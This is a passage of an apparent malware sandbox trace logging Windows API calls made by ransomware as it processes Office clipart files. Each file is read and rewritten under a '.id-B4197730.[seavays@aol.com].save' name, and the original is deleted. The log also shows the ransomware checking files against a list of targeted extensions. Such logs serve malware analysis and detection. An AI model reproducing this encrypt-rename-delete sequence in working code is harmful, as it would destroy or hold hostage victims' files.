(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.691] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=4612) returned 1 [0170.691] CloseHandle (hObject=0x51c) returned 1 [0170.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220 [0170.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.692] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.692] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0170.693] GetLastError () returned 0x0 [0170.693] ReadFile (in: hFile=0x51c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1204, lpOverlapped=0x0) returned 1 [0170.694] WriteFile (in: hFile=0x524, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1210, lpOverlapped=0x0) returned 1 [0170.695] ReadFile (in: hFile=0x51c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.695] WriteFile (in: hFile=0x524, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.696] SetEndOfFile (hFile=0x524) returned 1 [0170.696] CloseHandle (hObject=0x524) returned 1 [0170.696] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.696] SetEndOfFile (hFile=0x51c) returned 1 [0170.699] CloseHandle (hObject=0x51c) returned 1 [0170.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0170.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.701] lstrlenW (lpString=".doc") returned 4 [0170.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.701] lstrlenW (lpString=".docx") returned 5 [0170.701] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.701] lstrlenW (lpString=".pdf") returned 4 [0170.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.701] lstrlenW (lpString=".xls") returned 4 [0170.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.701] lstrlenW (lpString=".xlsx") returned 5 [0170.701] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.701] lstrlenW (lpString=".ppt") returned 4 [0170.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.702] lstrlenW (lpString=".zip") returned 4 [0170.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.702] lstrlenW (lpString=".rar") returned 4 [0170.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.702] lstrlenW (lpString=".bz2") returned 4 [0170.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.702] lstrlenW (lpString=".7z") returned 3 [0170.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.702] lstrlenW (lpString=".dbf") returned 4 [0170.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.702] lstrlenW (lpString=".1cd") returned 4 [0170.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.702] lstrlenW (lpString=".jpg") returned 4 [0170.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.702] lstrlenW (lpString=".doc") returned 4 [0170.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.702] lstrlenW (lpString=".docx") returned 5 [0170.702] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.702] lstrlenW (lpString=".pdf") returned 4 [0170.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.702] lstrlenW (lpString=".xls") returned 4 [0170.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.702] lstrlenW (lpString=".xlsx") returned 5 [0170.702] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.702] lstrlenW (lpString=".ppt") returned 4 [0170.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.703] lstrlenW (lpString=".zip") returned 4 [0170.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.703] lstrlenW (lpString=".rar") returned 4 [0170.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.703] lstrlenW (lpString=".bz2") returned 4 [0170.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.703] lstrlenW (lpString=".7z") returned 3 [0170.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.703] lstrlenW (lpString=".dbf") returned 4 [0170.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.703] lstrlenW (lpString=".1cd") returned 4 [0170.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0170.703] lstrlenW (lpString=".jpg") returned 4 [0170.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.703] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.703] lstrlenW (lpString="J0106020.WMF") returned 12 [0170.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.704] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=10060) returned 1 [0170.704] CloseHandle (hObject=0x51c) returned 1 [0170.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220 [0170.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.706] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.706] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0170.707] GetLastError () returned 0x0 [0170.707] ReadFile (in: hFile=0x51c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x274c, lpOverlapped=0x0) returned 1 [0170.708] WriteFile (in: hFile=0x524, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2750, lpOverlapped=0x0) returned 1 [0170.710] ReadFile (in: hFile=0x51c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.710] WriteFile (in: hFile=0x524, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.710] SetEndOfFile (hFile=0x524) returned 1 [0170.710] CloseHandle (hObject=0x524) returned 1 [0170.710] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.710] SetEndOfFile (hFile=0x51c) returned 1 [0170.713] CloseHandle (hObject=0x51c) returned 1 [0170.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0170.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.934] lstrlenW (lpString=".doc") returned 4 [0170.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.934] lstrlenW (lpString=".docx") returned 5 [0170.934] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.934] lstrlenW (lpString=".pdf") returned 4 [0170.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.934] lstrlenW (lpString=".xls") returned 4 [0170.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.934] lstrlenW (lpString=".xlsx") returned 5 [0170.935] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.935] lstrlenW (lpString=".ppt") returned 4 [0170.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.935] lstrlenW (lpString=".zip") returned 4 [0170.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.935] lstrlenW (lpString=".rar") returned 4 [0170.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.935] lstrlenW (lpString=".bz2") returned 4 [0170.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.935] lstrlenW (lpString=".7z") returned 3 [0170.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.935] lstrlenW (lpString=".dbf") returned 4 [0170.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.935] lstrlenW (lpString=".1cd") returned 4 [0170.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.935] lstrlenW (lpString=".jpg") returned 4 [0170.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.935] lstrlenW (lpString=".doc") returned 4 [0170.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.935] lstrlenW (lpString=".docx") returned 5 [0170.935] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.935] lstrlenW (lpString=".pdf") returned 4 [0170.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.935] lstrlenW (lpString=".xls") returned 4 [0170.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.936] lstrlenW (lpString=".xlsx") returned 5 [0170.936] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.936] lstrlenW (lpString=".ppt") returned 4 [0170.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.936] lstrlenW (lpString=".zip") returned 4 [0170.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.936] lstrlenW (lpString=".rar") returned 4 [0170.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.936] lstrlenW (lpString=".bz2") returned 4 [0170.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.936] lstrlenW (lpString=".7z") returned 3 [0170.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.936] lstrlenW (lpString=".dbf") returned 4 [0170.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.936] lstrlenW (lpString=".1cd") returned 4 [0170.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0170.936] lstrlenW (lpString=".jpg") returned 4 [0170.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.936] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.936] lstrlenW (lpString="J0106816.WMF") returned 12 [0170.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0171.461] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3332) returned 1 [0171.461] CloseHandle (hObject=0x510) returned 1 [0171.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220 [0172.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0172.952] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.952] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0173.296] GetLastError () returned 0x0 [0173.296] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0xd04, lpOverlapped=0x0) returned 1 [0173.298] WriteFile (in: hFile=0x510, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xd10, lpOverlapped=0x0) returned 1 [0173.300] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.300] WriteFile (in: hFile=0x510, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.300] SetEndOfFile (hFile=0x510) returned 1 [0173.300] CloseHandle (hObject=0x510) returned 1 [0173.300] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.300] SetEndOfFile (hFile=0x434) returned 1 [0173.303] CloseHandle (hObject=0x434) returned 1 [0173.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0173.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.305] lstrlenW (lpString=".doc") returned 4 [0173.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.305] lstrlenW (lpString=".docx") returned 5 [0173.305] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0173.305] lstrlenW (lpString=".pdf") returned 4 [0173.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.305] lstrlenW (lpString=".xls") returned 4 [0173.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.305] lstrlenW (lpString=".xlsx") returned 5 [0173.305] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0173.305] lstrlenW (lpString=".ppt") returned 4 [0173.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.306] lstrlenW (lpString=".zip") returned 4 [0173.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.306] lstrlenW (lpString=".rar") returned 4 [0173.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.306] lstrlenW (lpString=".bz2") returned 4 [0173.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.306] lstrlenW (lpString=".7z") returned 3 [0173.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.306] lstrlenW (lpString=".dbf") returned 4 [0173.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.306] lstrlenW (lpString=".1cd") returned 4 [0173.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.306] lstrlenW (lpString=".jpg") returned 4 [0173.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.306] lstrlenW (lpString=".doc") returned 4 [0173.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.306] lstrlenW (lpString=".docx") returned 5 [0173.306] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0173.306] lstrlenW (lpString=".pdf") returned 4 [0173.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.307] lstrlenW (lpString=".xls") returned 4 [0173.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.307] lstrlenW (lpString=".xlsx") returned 5 [0173.307] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0173.307] lstrlenW (lpString=".ppt") returned 4 [0173.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.307] lstrlenW (lpString=".zip") returned 4 [0173.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.307] lstrlenW (lpString=".rar") returned 4 [0173.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.307] lstrlenW (lpString=".bz2") returned 4 [0173.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.307] lstrlenW (lpString=".7z") returned 3 [0173.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.307] lstrlenW (lpString=".dbf") returned 4 [0173.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.307] lstrlenW (lpString=".1cd") returned 4 [0173.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0173.307] lstrlenW (lpString=".jpg") returned 4 [0173.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.308] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.308] lstrlenW (lpString="J0107302.WMF") returned 12 [0173.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0173.309] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=4136) returned 1 [0173.309] CloseHandle (hObject=0x434) returned 1 [0173.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft 